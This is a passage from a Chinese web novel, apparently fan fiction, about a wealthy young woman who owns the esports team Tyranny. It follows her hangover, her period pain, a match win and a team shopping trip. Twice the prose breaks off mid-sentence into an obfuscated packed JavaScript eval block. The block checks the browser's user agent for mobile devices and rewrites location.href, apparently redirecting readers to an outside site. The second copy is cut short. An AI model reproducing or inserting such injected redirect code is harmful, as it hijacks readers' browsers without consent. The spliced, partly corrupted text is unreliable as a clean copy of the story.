韩文清把秦昭昭放在床上,动作很轻。他本来想直接把她放下来就走的,但秦昭昭躺下后似乎觉得不舒服,皱起眉头动了动。 韩文清犹豫了一下,弯下腰,一手托住她的背,一手伸到她腿弯处,把她打横抱了起来,准备调整一下枕头的位置再放下去。 结果就在这个过程中,秦昭昭在他怀里动了动,脸埋进他胸口,蹭了蹭,找了个更舒服的姿势。她嘴里又嘟囔了一句什么,这次韩文清听清了。 她说的是:“韩队……冠军……” 声音很轻,很模糊,但确实是这两个字。 韩文清整个人都僵住了。 他低头看着怀里的秦昭昭。她闭着眼睛,睫毛长长的,在脸颊上投下一小片阴影。脸颊因为醉酒而泛着红晕,嘴唇微微嘟着,看起来毫无防备,像个熟睡的孩子。 她身上那股淡淡的香味更清晰了,混着酒气,竟然不让人觉得难闻。 韩文清就这样抱着她站了好几秒,直到张新杰在门口轻声问:“韩队,需要帮忙吗?” “不用。”韩文清回过神,轻轻把秦昭昭放回床上,仔细地调整好枕头,又拉过被子给她盖上。 做完这一切,他站在床边,看了秦昭昭一会儿,然后转身走出卧室。 “她睡着了。”他对门口的队员们说,“应该没事,明天早上可能会头疼。” “那……需要留个人照顾她吗?”张佳乐问。 “不了。”韩文清摇头,“让她睡吧。” 一行人退出房间,轻轻带上门。 回自己房间的路上,大家都没怎么说话。白言飞几次想开口,看看韩文清那张没什么表情的脸,又把话咽回去了。 到了楼层,各自回房。韩文清刚进房间没多久,手机就响了。 是张新杰发来的消息:“秦总怎么样了?” 韩文清打字回复:“她睡着了,很好,不用担心。” 消息发出去后,他走到窗边,看着外面的夜景,脑子里却不由自主地回放刚才那一幕。秦昭昭在他怀里蹭了蹭,嘴里嘟囔着“冠军”。 他忽然想起秦昭昭第一次来俱乐部时的样子。穿着小西装,扎着马尾,一脸紧张但又强装镇定,问他拳法家怎么打魔道学者。 那时候他觉得这姑娘就是来玩的,富家大小姐心血来潮买了个玩具,玩腻了就会扔。 但现在…… 韩文清摇摇头,转身去洗澡。 而另一边,秦昭昭的房间里,她正睡得香甜。梦里,她站在领奖台上,手里捧着冠军奖杯,沉甸甸的,压得她手臂发酸。但她笑得特别开心,转头看向旁边,韩文清站在那里,脸上难得地带着笑。 她听到自己说:“韩队,我们拿冠军了。” 韩文清点头:“嗯。” 然后她就笑醒了。 睁开眼,发现自己躺在酒店床上,头疼得要死。 “我的天……”秦昭昭揉着太阳穴坐起来,脑子里一片空白,“我昨晚……是不是喝醉了?” 记忆慢慢回笼——庆功宴,红酒,然后……然后就什么都不记得了。 她低头看看自己,衣服还穿着,被子盖得好好的。床头柜上放着一杯水,下面压了张纸条。 秦昭昭拿起来看,是张新杰的字迹,工整得像印刷体:“秦总,醒了记得喝水。早餐已经让酒店送到房间了,在客厅。如果头疼,床头柜抽屉里有解酒药。” 秦昭昭盯着那张纸条看了很久,心里暖洋洋的。 她端起水杯喝了一口,水是温的,不烫也不凉,刚刚好。 “这群人啊……”她小声嘀咕,嘴角却忍不住上扬。 虽然头还是很疼,虽然昨晚的记忆断片了,但那种被人照顾的感觉,真好。 她喝完水,爬起来去洗漱。镜子里的人脸色苍白,眼睛下面挂着两个黑眼圈,看起来惨不忍睹。 “完了完了,这副样子怎么见人……”秦昭昭哀嚎。 但嚎归嚎,她还是仔细地洗了脸,刷了牙,换了身干净衣服。走出卧室时,客厅的餐桌上果然摆着早餐——粥,小菜,包子,还有一杯豆浆。 她坐下来,慢吞吞地吃早餐。粥熬得软糯,小菜爽口,包子馅料足,豆浆醇厚。每一样都很合胃口。 正吃着,手机响了。是老爹打来的。 “闺女!听说你们昨晚赢了?还喝了庆功酒?怎么样,头疼不疼?爸跟你说,解酒要喝……” 秦昭昭听着电话那头絮絮叨叨的声音,忽然觉得她真幸福。 有老爹疼,有队员宠,有比赛打,有冠军可以追。 还有什么不满意的呢? “爸,我没事。”她笑着说,“就是头有点疼,不过已经好多了。” “那就好那就好!”秦大海松了口气,“对了,爸给你账户上又打了点钱,出门在外别省着,该花就花!保镖要不要雇?爸认识个安保公司……” “爸!”秦昭昭哭笑不得,“我真不用保镖!” “那行吧……”秦大海有点遗憾,“那你们什么时候回来?” “明天早上的飞机。” “好,爸让人去机场接你!” 挂掉电话,秦昭昭把最后一口粥喝完,靠在椅背上,看着窗外的蓝天白云,好像头也不疼了。 14.买下霸图的第十四天 霸图战队的连胜势头简直像开了挂的火车头,哐当哐当地往前冲,拦都拦不住。 打完呼啸之后,他们又先后把烟雨、虚空、雷霆这些队伍一一斩落马下。网上关于霸图的讨论热度居高不下,正面评价像雨后春笋一样往外冒。 “银河战舰真不是吹的啊!” “这阵容,这配合,简直无敌!” “张佳乐在霸图如鱼得水啊,百花式打法配韩文清的刚猛,绝了!” “林敬言的战术意识太强了,霸图的团队赛现在看着就让人安心。” 秦昭昭每天刷微博刷得乐呵呵的,感觉自己走路都带风。她甚至偷偷注册了几个小号,专门去那些夸霸图的评论下面点赞,偶尔还回几句“说得对”“有眼光”。 但今天,情况有点不一样。 早上九点,食堂里空荡荡的。厨师刚把早餐准备好,正准备歇口气,就看见秦昭昭穿着睡衣,趿拉着拖鞋,慢吞吞地晃了进来。 她脸色有点白,眼睛下面挂着两个淡淡的黑眼圈,整个人看起来蔫了吧唧的,像棵被太阳晒蔫了的小白菜。 “秦总早啊。”厨师打招呼。 “早……”秦昭昭有气无力地应了一声,随便打了点粥和咸菜,找了个角落的位置坐下。 她掏出手机,习惯性地刷微博。今天的热搜上依然有霸图,词条是#霸图五连胜#。点进去,全是各种分析贴和彩虹屁。 放在平时,秦昭昭肯定看得眉开眼笑,说不定还会截图发朋友圈炫耀。 但今天,她只是扫了一眼,就把手机扣在桌上了。 粥也只喝了两口,就放下了勺子。她趴在桌上,把脸埋进臂弯里,长长地叹了口气。 肚子疼。 准确地说,是那种熟悉的、每个月都会准时来拜访的、让人恨不得在床上躺一天的疼。 秦昭昭在心里哀嚎:为什么偏偏是今天?为什么偏偏在她想去看训练的时候?为什么这玩意儿不能请假? 她在桌上趴了大概十分钟,感觉稍微好点了,才又坐直身体,重新拿起勺子。刚舀了一勺粥,还没送到嘴里,食堂门口传来了脚步声。 秦昭昭下意识地抬头,就看见张新杰穿着一身整齐的运动服走了进来。 张副队今天看起来精神很好,头发梳得一丝不苟,眼镜擦得锃亮,手里还拿着个平板,大概是准备边吃早餐边看训练数据。 他走到取餐区,熟练地打了份标准配置的早餐——牛肉粉丝汤一碗,肉包两个,外加一个肉夹馍,张新杰总是。然后转身,目光在食堂里扫了一圈,最后停在了秦昭昭身上。 两人的视线对上。 秦昭昭心里咯噔一下,赶紧坐直身体,还下意识地想把手里的勺子端正地握好。结果动作太急,牵扯到腹部,一阵绞痛传来,她“嘶”地抽了口气,手一抖,勺子差点掉桌上。 她赶紧捂住肚子,脸上的表情瞬间扭曲了一下。 张新杰眉头微皱,端着餐盘走了过来,在她对面坐下。 “秦总,您不舒服?”他问,声音一如既往地平稳清晰。 “没、没有啊……”秦昭昭强装镇定,努力挤出一个笑容,“我就是……就是没睡好,对,没睡好。” 张新杰推了推眼镜,盯着她看了三秒。 那三秒钟,秦昭昭感觉自己的脸在以肉眼可见的速度升温。她能感觉到张新杰的目光在她脸上扫过,在她捂着肚子的手上停留,最后又回到她脸上。 那目光太锐利了,锐利得让她觉得自己所有的伪装都在瞬间被看穿。 “秦总,”张新杰再次开口,语气很平静,“根据我的观察,您的脸色比平时苍白了百分之三十,嘴唇颜色偏淡,额角有轻微冷汗。您刚才捂腹部的动作是典型的痉挛性疼痛表现。结合今天是本月第二十八天这个时间点……” 他说到这里,停顿了一下。 秦昭昭的脸已经红得像熟透的番茄了。 她低下头,恨不得找个地缝钻进去。 张新杰看着她那副恨不得把自己埋起来的样子,嘴角在她看不见的角度,很轻微地向上勾了一下。那个弧度很小,小到几乎看不见,但确实是笑了。 “需要布洛芬吗?”他轻声问,声音比刚才温和了一点。 秦昭昭猛地抬头,眼睛瞪得老大:“你、你怎么知道……” “后勤部每个月都会采购女性用品和止痛药。”张新杰推了推眼镜,“作为副队长,我需要了解所有可能影响战队运营的因素。包括……队员和老板的身体状况。” 他说这话时语气特别正经,正经得像在汇报战术数据。 秦昭昭张了张嘴,想说点什么,但肚子又是一阵绞痛,把她的话都堵了回去。她咬着嘴唇,最后只能小声说:“我房间床头柜抽屉里……有布洛芬。能……能麻烦你帮我拿一下吗?” 她说完这话,脸更红了。 让战队副队长、联盟第一战术大师、平时严肃得像个教导主任的张新杰,去她房间帮她拿止痛药…… 这画面,想想就尴尬得让人脚趾抠地,能抠出一个城堡来的那种! “好的,请稍等。”张新杰说完,转身就走,脚步平稳,背影挺拔,仿佛他不是去给老板拿止痛药,而是去执行什么重要的战术任务。 秦昭昭看着他消失在食堂门口,整个人瘫在椅子上,捂着脸哀嚎。 丢人丢大了…… 五分钟后,张新杰回来了。他手里拿着个小药盒,还有一瓶矿泉水。走到秦昭昭面前,他把药和水递给她,然后重新坐下,继续吃他的早餐。 秦昭昭接过药,小声道了谢,按照说明书抠出一颗,就着水吞了下去。药有点苦,她皱了皱眉。 “建议您吃完早餐再吃药。”张新杰头也不抬地说,“布洛芬对胃黏膜有刺激,空腹服用可能引起不适。” “……已经吃了。”秦昭昭小声说。 张新杰抬眼看她,推了推眼镜,没再说什么。 两人安静地吃了会儿东西。秦昭昭感觉药效慢慢上来了,肚子没那么疼了,脸色也好看了点。 “张副队,”她犹豫了一下,开口,“那个……今天训练,我可能去不了了。” “理解。”张新杰点头,“身体要紧。您需要休息。” “我会在房间待着的。”秦昭昭赶紧说,“不会打扰你们训练。” “需要我送您回房间吗?” “不用不用!”秦昭昭连连摆手,“我自己能回去!真的!” 开什么玩笑,让张新杰送她回房间?那场面想想就让她头皮发麻。 张新杰看了她一眼,也没坚持:“好,那您注意安全。” 吃完早餐,秦昭昭慢吞吞地站起身,跟张新杰道了别,一步三挪地往电梯走。 张新杰看着她的背影,直到她进了电梯,才收回目光。他端起牛奶杯,喝了一口,然后拿起平板,开始看今天上午的训练计划。 训练室里,气氛和往常一样严肃而专注。 键盘敲击声噼里啪啦地响着,屏幕上的角色在光影中穿梭。韩文清正在做个人练习,他的拳法家动作刚猛有力,每一拳都带着破风声。张佳乐和林敬言在打配合,弹药专家的华丽技能和流氓的狡猾走位相得益彰。白言飞和秦牧云在另一边,一个练元素法师的连招,一个练神枪手的精准射击。 但今天,总感觉少了点什么。 张佳乐打完一局,摘下耳机,活动了一下手腕。他转头看了看训练室门口,又看了看墙上的钟。 十点了。 平时这个时候,秦昭昭早就该探头探脑地进来了。她会搬把椅子坐在后面,安安静静地看他们训练,偶尔拿出小本本记点什么。有时候还会带点零食来,训练间隙分给大家吃。 但今天,门口空荡荡的。 “奇怪,”张佳乐嘀咕,“秦总今天没来?” 他声音不大,但训练室里太安静了,所有人都听见了。 韩文清手上的动作顿了一下,屏幕上的拳法家一个技能放空。他皱了皱眉,没说话,继续训练。 林敬言推了推眼镜:“可能有事吧。” “能有什么事啊?”白言飞接话,“秦总平时不是最爱来看我们训练了吗?昨天还说今天要学怎么打团队配合呢。” 秦牧云小声说:“会不会生病了?” 这话一出,训练室里安静了几秒。 张佳乐看向张新杰,张新杰正坐在电脑前看数据,表情平静得像什么都没听到。 “张副队,”张佳乐忍不住问,“你知道秦总今天怎么没来吗?” 张新杰抬起头,推了推眼镜:“秦总身体不适,今天休息。” “身体不适?”张佳乐愣了,“严重吗?什么病?” 张新杰沉默了两秒,然后很平静地说:“女性生理期常见症状,不需要特别担心。” 训练室里更安静了。 韩文清的操作又顿了一下,这次顿得有点明显。 张佳乐表情微妙,张了张嘴,最后只说了句:“哦……” 白言飞和秦牧云两个小年轻对视一眼,都有点尴尬,不知道该说什么。 林敬言咳嗽了一声,把话题拉回训练:“继续吧,别浪费时间。” 训练继续,但气氛总有点怪怪的。大家时不时就会往门口看一眼,好像期待那个总是蹦蹦跳跳的身影会出现。 中午十二点,训练结束。 队员们陆续离开训 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920648|192419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 练室,去食堂吃午饭。张新杰是最后一个走的,他关了电脑,整理好桌面,然后去了食堂。 但他没有像往常一样直接去打饭,而是先去找了厨师。 “王师傅,”张新杰说,“麻烦准备一份午餐,要温热、易消化的食物。粥可以,面条也行,不要太油腻,不要辛辣。” 厨师愣了一下:“张副队,您要吃?” “不是,给秦总送的。”张新杰推了推眼镜,“她身体不适,应该在房间休息,不方便下来吃饭。” “哦哦,明白明白!”厨师连连点头,“我马上准备!” 十分钟后,张新杰端着一个托盘离开了食堂。托盘上放着一碗热气腾腾的蔬菜粥,两个清淡的小菜,还有一小份蒸蛋。粥熬得很稠,米粒都化开了,闻着就香。 他坐电梯上五楼,走到房间门口,抬手敲了敲门。 里面传来秦昭昭有气无力的声音:“谁啊……” “是我,张新杰。” 房间里安静了几秒,然后传来窸窸窣窣的声音。过了一会儿,门开了条缝,秦昭昭的脸从门缝里露出来。 她换了身睡衣,头发乱糟糟的,脸色还是有点白,但比早上好多了。 “张副队?”她眨眨眼,“你怎么来了?” “给您送午餐。”张新杰把托盘往前递了递,“厨师特意做的,温热易消化。” 秦昭昭盯着那碗粥看了几秒,突然有点感动。 她打开门,接过托盘:“谢谢……” “不客气。”张新杰推了推眼镜,“您感觉好点了吗?” “好多了,药效上来了。”秦昭昭小声说,“那个……你要进来坐坐吗?” 话一出口她就后悔了。让张新杰进她房间?这画面怎么想怎么诡异。 但张新杰摇了摇头:“不了,我还要去吃饭。下午的训练两点开始,您好好休息,不用过来。” “嗯……”秦昭昭点头。 张新杰又看了她一眼,确认她没什么大碍,这才转身离开。 秦昭昭关上门,端着托盘走到客厅,在沙发上坐下。粥还冒着热气,她用勺子搅了搅,舀起一勺送进嘴里。 温热的,软糯的,带着蔬菜的清香。 很好吃。 她慢慢地吃着,心里那股暖意越来越浓。 这些职业选手,平时看着一个个都挺酷的,韩文清硬邦邦,张新杰冷冰冰,张佳乐潇洒不羁,林敬言温文尔雅但总保持距离…… 但其实,他们都很好。 特别好。 秦昭昭吃完粥,把碗筷收拾好,放在门口。然后她回到卧室,重新躺回床上。 肚子还是有点隐隐作痛,但比早上好太多了。她缩在被子里,拿出手机,打开战队群。 群里静悄悄的,大概大家都在吃饭。 她想了想,打字:“谢谢大家的关心,我好多了。” 消息发出去后,过了几秒,手机开始震动。 张佳乐发了个“抱抱”的表情包。 白言飞:“秦总好好休息!” 秦牧云:“多喝热水。” 林敬言:“注意保暖。” 韩文清:“嗯。” 张新杰:“好好休息,下午的训练计划已经发到您邮箱,有空可以看。” 秦昭昭看着那些消息,嘴角忍不住上扬。 她把手机抱在怀里,闭上眼睛。 窗外阳光正好,透过窗帘缝隙洒进来,在地板上投下温暖的光斑。 虽然肚子还有点疼,虽然今天不能去看训练,虽然当老板也有当老板的烦恼…… 但这一刻,她觉得特别幸福。 有这样的队伍,有这样的队员,有这样的……家人。 还有什么不知足的呢? 她想着想着,就睡着了。 秦昭昭翻了个身,把脸埋进枕头里,睡得特别香。 而楼下食堂里,张佳乐一边吃饭一边嘀咕:“张副队真是细心啊,连秦总生理期都记得……” 林敬言推了推眼镜,没说话,但眼里有笑意。 韩文清沉默地吃着饭,动作比平时慢了一点。 白言飞和秦牧云埋头苦吃,假装什么都没听到。 张新杰坐在自己的位置上,面前摆着标准的营养午餐。他推了推眼镜,拿起筷子,按照固定的顺序开始吃饭。 一口饭,一口菜,节奏稳定,动作优雅。 只是如果有人仔细看,会发现他今天吃饭的时候,嘴角一直保持着很轻微的上扬弧度。 虽然很小,但确实在笑。 因为那个总是蹦蹦跳跳的老板,今天虽然蔫了吧唧的,但好像…… 还挺可爱的。 15.买下霸图的第十五天 霸图主场迎战微草的那场比赛,打得那叫一个惊心动魄。 微草是什么队伍?也是冠军队伍,有王杰希这个魔术师坐镇,战术诡谲多变,队员配合默契得像一个人。赛前预测,十个专家里有八个说微草赢面大,剩下两个说五五开,没一个敢打包票说霸图稳赢的。 秦昭昭紧张得比赛前一天晚上都没睡好。她在床上翻来覆去,脑子里全是“王不留行骑着扫把满天飞”“魔术师打法神出鬼没”“微草团队赛配合无解”之类的画面。 好不容易熬到比赛当天,她顶着两个熊猫眼出现在训练室,把正在热身的张佳乐吓了一跳。 “秦总,您这是……熬夜看战术分析了?”张佳乐打趣。 “我倒是想分析,可我看不懂啊!”秦昭昭哭丧着脸,“我就知道微草很厉害,特别厉害,超级厉害……” “别担心。”林敬言推了推眼镜,语气温和,“我们有韩队,有张副队,有张佳乐,还有我们这么多人。微草是强,但我们也不弱。” 话是这么说,但秦昭昭那颗心就是悬着放不下来。 直到比赛开始。 个人赛,霸图比分先落后一场。秦昭昭抓着椅子的手都出汗了。 擂台赛,韩文清守擂,硬是把微草的选手一个个捶下去,拿下了关键的两分。秦昭昭激动得差点从座位上跳起来。 团队赛,那才叫真正的神仙打架。 微草的团队配合确实默契,王不留行的魔术师打法也确实让人眼花缭乱。但霸图这边,韩文清的正面强攻,张佳乐的远程压制,林敬言的战术骚扰,张新杰的精准治疗。这些风格迥异的打法,在张新杰的指挥下,硬是拧成了一股绳。 比赛打到第二十七分钟,场上只剩下两个角色。韩文清的大漠孤烟,和王杰希的王不留行。 两个队长,两个顶尖选手,在残血状态下展开最后的对决。 秦昭昭屏住呼吸,眼睛死死盯着大屏幕。 她看到大漠孤烟一拳轰出,伏虎腾翔带起的劲风几乎要从屏幕里冲出来。看到王不留行骑着扫把在空中划出一道诡异的弧线,躲开了致命一击。看到两人你来我往,血线交替下降,最后—— 大漠孤烟还剩百分之三的血。 王不留行,百分之零。 荣耀! 场馆瞬间炸了。霸图粉丝的欢呼声几乎要把屋顶掀翻。 秦昭昭呆呆地看着屏幕上那两个字,过了好几秒才反应过来。 赢了? 真的赢了? 她从座位上跳起来,回到选手休息室后冲过去抓着张佳乐的胳膊使劲摇:“赢了!我们赢了!赢了微草!” 张佳乐被她摇得头晕,但笑得特别开心:“是赢了!秦总您别摇了,我胳膊要断了!” 秦昭昭这才松开手,又想去抱韩文清,结果看到韩文清那张严肃的脸,动作硬生生刹住了。她转而去抱林敬言,林敬言被抱得一脸无奈但也没躲。最后她连张新杰也没放过,张副队被她抱得身体僵硬,似乎是想说什么,但是最后还是什么也没说只是纵容地让她抱着。 赛后采访,记者问韩文清对这场胜利有什么感想。韩文清板着脸说了三个字:“应该的。” 记者又问张新杰,霸图的团队配合怎么能在这么短的时间内磨合得这么好。张新杰推了推眼镜,语气平淡:“科学的训练方法,合理的战术设计,加上队员们的努力。” 标准得不能再标准的官方回答。 但秦昭昭在旁边听着,心里美得直冒泡。 看看,这就是她的队员!赢了冠军队伍都这么淡定!多有范儿! 赢下微草之后,霸图的战绩变成了七连胜。网上关于“银河战舰”的讨论更热烈了,连之前那些质疑的声音都少了很多。 秦昭昭每天刷微博刷得眉开眼笑,走路都带风。 然后她做了个决定。 “明天休息日,我请大家去超市购物!”训练结束后,秦昭昭站在训练室中央宣布,“想买什么买什么,我买单!” 队员们面面相觑。 白言飞最先反应过来,以为自己听错了:“秦总,真的?想买什么都可以?” “真的!”秦昭昭用力点头,“零食,饮料,日用品,想买多少买多少!我包场!” “包场?”张佳乐挑眉,“秦总,您该不会是要把整个超市买下来吧?” “那倒不至于。”秦昭昭摆摆手,“我就是跟超市经理说好了,明天上午九点到十二点,超市不对外营业,只对我们开放。这样你们可以慢慢逛,不用挤,也不用担心被粉丝认出来。” 她说完,期待地看着大家。 训练室里安静了几秒。 然后林敬言笑了:“秦总,您这手笔……也太大了点。” “不大不大!”秦昭昭说,“咱们赢了微草,这可是大事!得庆祝!再说了,我看你们平时训练那么辛苦,宿舍里零食都快吃完了,正好补补货。” 韩文清看了她一眼,没说话,但也没反对。 张新杰推了推眼镜,开始思考这种集体活动的时间安排和营养搭配问题。 张佳乐吹了声口哨:“行啊,那我可得好好挑挑。听说最近新出了款进口薯片,味道特别正。” 白言飞已经开始掰手指头算要买什么了:“可乐,薯片,巧克力,牛肉干,泡面……” 秦牧云小声说:“我想买点水果。” “买!都买!”秦昭昭大手一挥,“明天九点,大堂集合,不许迟到!” 第二天早上八点五十,秦昭昭就穿着身运动装,精神抖擞地出现在酒店大堂。她手里拿着个小本本,上面列了个清单——不是她要买什么,而是她记得队员们平时喜欢吃什么。 张佳乐喜欢喝某个牌子的咖啡,韩文清训练后会喝蛋白粉,张新杰对饮食要求高,得买点健康的,林敬言好像喜欢喝茶,白言飞和秦牧云这两个小年轻,估计就是零食饮料…… 她正盘算着,队员们陆陆续续下来了。 韩文清还是一身简单的运动装,戴了顶帽子。张新杰穿着整齐的衬衫长裤,看起来像是要去开会而不是逛超市。张佳乐把头发扎起来了,戴着副墨镜,很有明星范儿。林敬言换了身休闲装,看起来温文尔雅。白言飞和秦牧云最兴奋,两个人凑在一起嘀嘀咕咕,估计在商量买什么。 “人都齐了吧?”秦昭昭数了数,“齐了!出发!” 超市离酒店不远,走路也就十分钟。到了门口,果然挂着个“临时闭店”的牌子。经理已经在门口等着了,看见秦昭昭,满脸堆笑地迎上来。 “秦小姐,都安排好了,您请进。” “谢谢王经理。”秦昭昭笑着点头,然后转身对队员们说,“走吧,三个小时,随便逛!” 一行人走进超市。 平时热闹的超市这会儿空荡荡的,只有他们几个人。货架整齐,灯光明亮,空调温度适中,安静得能听见自己的脚步声。 这种感觉……还挺奇妙的。 “我有点不习惯。”张佳乐推着购物车,东张西望,“超市里没人,感觉像在拍恐怖片。” “那你别买,看着我们买。”秦昭昭白了他一眼。 “那不行,来都来了。”张佳乐笑着往零食区走。 大家散开了,各自去挑自己想买的东西。 秦昭昭推着车,先去了饮料区。她记得张佳乐喜欢喝的那个牌子的咖啡,找了半天才找到,一口气拿了五六罐。又去找韩文清的蛋白粉,挑了个最贵的。给张新杰选了无糖酸奶和全麦面包,给林敬言挑了盒不错的茶叶。 然后她才开始挑自己的——薯片要原味的,可乐要无糖的,巧克力要黑巧,再来点坚果…… 等她推着车从零食区出来时,车里已经堆成小山了。 转角碰见韩文清,秦昭昭往他车里看了一眼,愣住了。 韩文清的购物车里,东西少得可怜。两桶蛋白粉,一箱矿泉水,没了。 “韩队,你就买这些?”秦昭昭不敢相信。 “嗯。”韩文清点头,“够了。” “够什么够!”秦昭昭急了,“今天是我请客!你能不能多买点?零食呢?饮料呢?水果呢?” 韩文清看着她,沉默了两秒,然后说了句:“我不吃那些。” “那……”秦昭昭想了想,“那你买点日用品?毛巾?牙膏?洗发水?” “宿舍都有。” 秦昭昭没辙了。她看着韩文清那张没什么表情的脸,忽然灵机一动:“那你帮我推车吧!我东西太多了,推不动!” 她把购物车往韩文清手里一塞,自己又跑去拿了个空车。 韩文清看着手里那辆堆成小山的购物车,又看了看秦昭昭蹦蹦跳跳跑远的背影,摇了摇头,但没说什么,推着车继续往前走。 另一边,张新杰正在认真挑选食材。他手里拿着个小本本,一边看一边记,时不时还拿起商品看营养成分表。那认真的样子,不像在逛超市,像在实验室做研究。 “张副队,你买这么多菜干嘛?”白言飞凑过来问,“宿舍有食堂啊。” “食堂的饮食搭配不够科学。”张新杰推了推眼镜,“我准备自己做一些营养餐,给队员们加餐。” 白言飞肃然起敬:“张副队,您真是……太敬业了。” 张佳乐和林敬言在零食区碰头了。两人看着对方购物车里的东西,都笑了。 张佳乐车里全是各种膨化食品、糖果、饮料,色彩斑斓得像他的百花式打法。 林敬言车里则要克制得多,几包坚果,一些水果,两盒饼干,还有几瓶茶饮料。 “老林,你就买这些?”张佳乐挑眉。 “年纪大了,得注意养生。”林敬言笑着说,“倒是你,买这么多零食,不怕张副队说你?” “说我我就说这是秦总请客,不吃白不吃。”张佳乐理直气壮。 秦牧云和白言飞两个小年轻最嗨,推着车在超市里跑来跑去,看到什么想吃的就往车里扔。薯片要各种口味的,可乐要最大瓶的,泡面要最辣的,巧克力要最甜的…… 逛了一个小时,大家的购物车都满了。 秦昭昭看着那六辆堆成山的购物车,心里特别有成就感。她掏出手机,给老爹发了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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秦昭昭高兴地又把薯片递给张新杰:“张副队,你也尝尝?” 张新杰推了推眼镜,很认真地看了看薯片的营养成分表,然后摇摇头:“脂肪含量太高,不健康。” “……就尝一片嘛。”秦昭昭不死心。 张新杰看着她那副期待的样子,犹豫了一下,最后还是伸手拿了一片,慢条斯理地吃完,然后评价:“钠含量也超标了。” 秦昭昭:“……” 算了,跟张新杰谈零食健康,就像跟鱼谈不要在河里游泳一样,毫无意义。 她把薯片递给张佳乐,张佳乐毫不客气地抓了一把,咔嚓咔嚓嚼得特别香。 “对了,”秦昭昭忽然想起什么,“我买了冰淇淋,放冰箱里了,现在应该冻好了,谁要吃?” “我要!”白言飞第一个举手。 “我也要!”秦牧云小声说。 张佳乐也点头:“来一个。” 秦昭昭跑去厨房,从冰箱里拿出几个冰淇淋。有巧克力的,有香草的,有草莓的。她分给大家,最后自己也拿了一个,坐在沙发上小口小口地吃。 夏末的午后,空调温度开得适中,阳光透过窗户洒进来,暖洋洋的。大家吃着冰淇淋,聊着天,气氛轻松得像一家人。 秦昭昭看着他们,心里涌起一股难以言喻的满足感。 几个月前,她还只是个刚入坑荣耀的萌新,连二十四个职业都分不清。 几个月后,她是这支战队的老板,和这群顶尖选手坐在一起,分享胜利的喜悦。 这感觉,真好。 “秦总。”张新杰忽然开口。 “嗯?”秦昭昭转头。 “下周对阵蓝雨,我们需要开始准备了。”张新杰推了推眼镜,“蓝雨的战术体系很特别,需要针对性训练。” 秦昭昭眨眨眼:“蓝雨?就是那个有剑圣黄少天和战术大师喻文州的队伍?” “对。”张新杰点头,“黄少天的夜雨声烦是联盟最强的剑客之一,喻文州的索克萨尔是顶尖的术士。他们的配合非常默契,团队赛很难打。” 秦昭昭听得一愣一愣的。她虽然玩荣耀才三个月,但黄少天和喻文州的大名还是听过的。剑圣,战术大师,蓝雨双核…… “那……我们能赢吗?”她小心翼翼地问。 “不好说。”张新杰很客观,“但我们会尽力。” 韩文清吃完了冰淇淋,把包装纸扔进垃圾桶,说了句:“能赢。” 声音不大,但特别笃定。 秦昭昭看着他,忽然笑了。 “对,能赢!”她用力点头,“有韩队在,有张副队在,有大家在,肯定能赢!” 张佳乐在旁边笑:“秦总,您这信心比我们还足啊。” “那必须的!”秦昭昭抬了抬下巴,“我可是你们的头号粉丝!” 休息室里充满了轻松愉快的笑声。 秦昭昭靠在沙发上,看着窗外的蓝天白云,心里特别踏实。 虽然她什么都不懂,虽然她很多时候都在胡闹,虽然她花钱如流水的习惯让李经理头疼不已。 但至少,她让这群追逐梦想的人,可以心无旁骛地去战斗。 至于花了多少钱……算了,不想了。 反正老爹说了,闺女开心最重要。而她现在,特别开心。 秦昭昭咬了一口冰淇淋,冰凉甜腻的味道在嘴里化开。 嗯,真好吃。 16.买下霸图的第十六天 晚上七点,霸图训练室的灯还亮得跟白天似的。 白板上画满了密密麻麻的箭头和圈圈,红蓝黑三色马克笔勾勒出的战术图复杂得像迷宫。张新杰站在白板前,手里拿着电子笔,正在复盘三天前对阵微草的那场比赛。 “团队赛第二十三分钟,这里有问题。”他点了点白板上一个标红的区域,“韩队的拳法家冲锋时机和张佳乐的弹药专家火力覆盖,存在配合空档。” 屏幕上开始播放比赛录像的片段。大漠孤烟如猛虎出闸般冲入微草阵型中央,拳风呼啸。紧随其后的应该是百花缭乱的弹药覆盖,但画面显示,在韩文清冲进去的瞬间,张佳乐的技能晚了一拍才跟上。 就那么零点几秒的空隙,被王不留行抓住了。 魔术师骑着扫把从那个缝隙里钻出来,一个熔岩烧瓶扔在了霸图的治疗范围内,逼得石不转不得不交了个大招。 “数据分析显示,这里的空档是零点三秒。”张新杰推了推眼镜,语气平淡得像在报菜名,“在高端对决中,零点三秒足够对手做出致命反击。” 训练室里安静得能听见电脑主机的嗡嗡声。 韩文清抱着手臂坐在第一排,眉头紧皱,他盯着屏幕上的回放,一遍又一遍,眼睛一眨不眨。 张佳乐坐在他旁边,安静地听着,表情有点懊恼。他知道那个空档,当时就感觉到了,但就是没跟上。 林敬言坐在后排,眼镜片反射着屏幕的光,看不出表情。白言飞和秦牧云两个小年轻正襟危坐,大气不敢出。 而秦昭昭……秦昭昭坐在最角落,努力睁大眼睛想看懂张新杰在说什么。 她真的在努力。 但那些箭头、圈圈、数据、战术术语……对她这个只玩了三个月荣耀的萌新来说,简直跟天书一样。 她看到韩文清冲进去,看到张佳乐的技能晚了一拍,看到王不留行钻出来扔了个瓶子……然后呢?然后怎么了?很重要吗? 秦昭昭眨了眨眼,又眨了眨眼。她盯着屏幕看了半天,忽然脑子里灵光一闪。 “我知道了!”她脱口而出。 所有人的目光齐刷刷地转过来。 秦昭昭被看得有点不好意思,但还是硬着头皮说:“那个……韩队冲太快的时候,张佳乐的子/弹总是打在空气里,像放烟花没观众看!” 训练室里安静了两秒。 然后张佳乐“噗”一声笑了出来,笑容里带着点无奈:“秦总,您这比喻……还挺形象。” 